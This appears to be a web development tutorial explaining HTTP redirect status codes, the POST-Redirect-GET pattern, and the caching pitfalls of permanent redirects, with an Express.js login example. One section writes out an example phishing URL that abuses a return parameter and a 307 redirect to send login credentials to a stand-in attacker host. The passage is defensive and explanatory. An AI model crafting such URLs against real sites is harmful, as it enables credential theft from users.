Redirects are a common necessity for websites and HTTP-enabled services and seem simple enough on the surface, but digging deeper you may find yourself confused with five different status codes and imprecise standard behavior, warranting a deeper understanding of the issue.
The PRG pattern
We need to understand a common pattern called POST-Redirect-GET before we unpack redirect issues. Basically, when sending a form on the internet, for example on a login page, the HTML defines a form submitted via a HTTP POST request. On successful login, the server would then respond with a redirect to a new URL, for example a dashboard.
This type of form submission behavior has enabled website functionality for decades, but it also sits at the heart of the redirect mess in the HTTP protocol.
Why five redirect status codes?
If an HTTP server wants to redirect the user to a different location, it sends a response with a status code in the 3XX range and a Location: header with a new url to redirect to.
Initially, there were only two redirects, 301 Moved Permanently and 302 Found. They were defined as "clients should request the new url". On GET requests this is straight-forward, but what about a POST request that contains form data in the body? Most websites at the time used the PRG pattern for form submission, so browsers started to use GET requests and drop the request body (with potential form data) when redirecting to the new location.
This ambiguity in the spec definition caused the later addition of status code 303 See Other which says to explicitly request the new location using GET and not reuse the body.
For use cases where the entire URL was to be replaced, the status codes 307 Temporary Redirect and 308 Permanent Redirect were added, which explicitly force clients to maintain the same request method and body when requesting the new location, effectively resubmitting forms to the new url.
You can remember the status code behavior like this:
301/302: Go to new location, likely using GET but not guaranteed303: Go to new location using GET method307/308: Retry the entire last request at new location, with same method and body
Form submission issues
As explained previously, the new status codes 307 and 308 are a bad fit for form submissions. The problem becomes more obvious with a simple example:
const express = require("express");
const app = express();
app.get("/", (req, res) => {
res.send(`
<form method="POST" action="/login">
<input name="username" placeholder="username">
<input name="password" type="password" placeholder="password">
<button>Login</button>
</form>
`);
});
app.post("/login", (req, res) => {
res.redirect(307, "/dashboard");
});
app.get("/dashboard", (req, res) => {
res.send("welcome to dashboard");
});
app.listen(3000);The node.js application defines three endpoints:
/serves the home page with the login form/loginaccepts POST requests and redirects to/dashboard/dashboardis where users should land after login
Since / and /dashboard do not handle any form data, they are only available for GET requests.
When submitting the login form, you may be surprised to see a 405 Method Not Allowed error instead of the dashboard page. This happens because the login form submits to /login via POST method, and the redirect 307 Temporary Redirect explicitly says to keep the method and body, so the browser resubmits the login form POST request to /dashboard. Since /dashboard does not accept POST requests (only GET), you get an error. Even worse, the entire form is now submitted to the redirect location, potentially exposing user credentials to other endpoints.
This is why form submissions should always use 303 See Other for redirects after form submissions, to ensure the redirect location is requested using GET method, form data is not exposed and the PRG pattern remains intact.
While you could also use 302 Found and see the same result in most browsers, this is due to common convention and not a defined standard, so try to avoid it if possible.
Temporary redirect exploits
Redirecting a successful login form with 307 Temporary Redirect can be used to steal user credentials under specific circumstances. Assume a login form supports a ?return=... parameter so users with expired sessions return to the previous page after login. Such features are fairly popular in modern websites.
A malicious user could craft a url like https://sample.com/login?return=https://attacker.com/dump and send it to a victim. If they log in, the 307 redirect would send the login form including their credentials to https://attacker.com/dump, which could log/steal them.
A real attack could be much harder to spot, e.g. using a domain name similar to the real one and redirecting back to the real page after stealing credentials.
This is why 307/308 should be used very rarely in response to form submissions. When considering it, ask yourself "do i want my form data at the redirect location?" and only use 307 if the answer is unambiguously "yes".
Careful with permanent redirects
Permanent redirects 301 Moved Permanently and 308 Permanent Redirect can be a real nuisance to debug once used, so care is in order before using them.
If an HTTP client like a browser encounters a permanent redirect response, it will cache it and potentially never request that URL again. If you change your mind in 10 years and would like to display some content at the old URL again, that client will never know.
Even worse, proxies and routers may cache this response as well, so even clearing the entire browser cache may not resolve the problem. Treat permanent redirects as an uncontrollable, irreversible choice - because in reality, it typically is.
For this reason it is rarely a good idea to respond with permanent redirects from the start. A much safer pattern is to first use a temporary redirect, confirm everything works as intended for a few days/weeks, and change it to permanent later.
Only use permanent redirects in cases where you are absolutely certain you will never want to use the old url again, under any circumstances. A classic case of this is redirecting subdomains to canonical urls, e.g. www.sample.com to sample.com.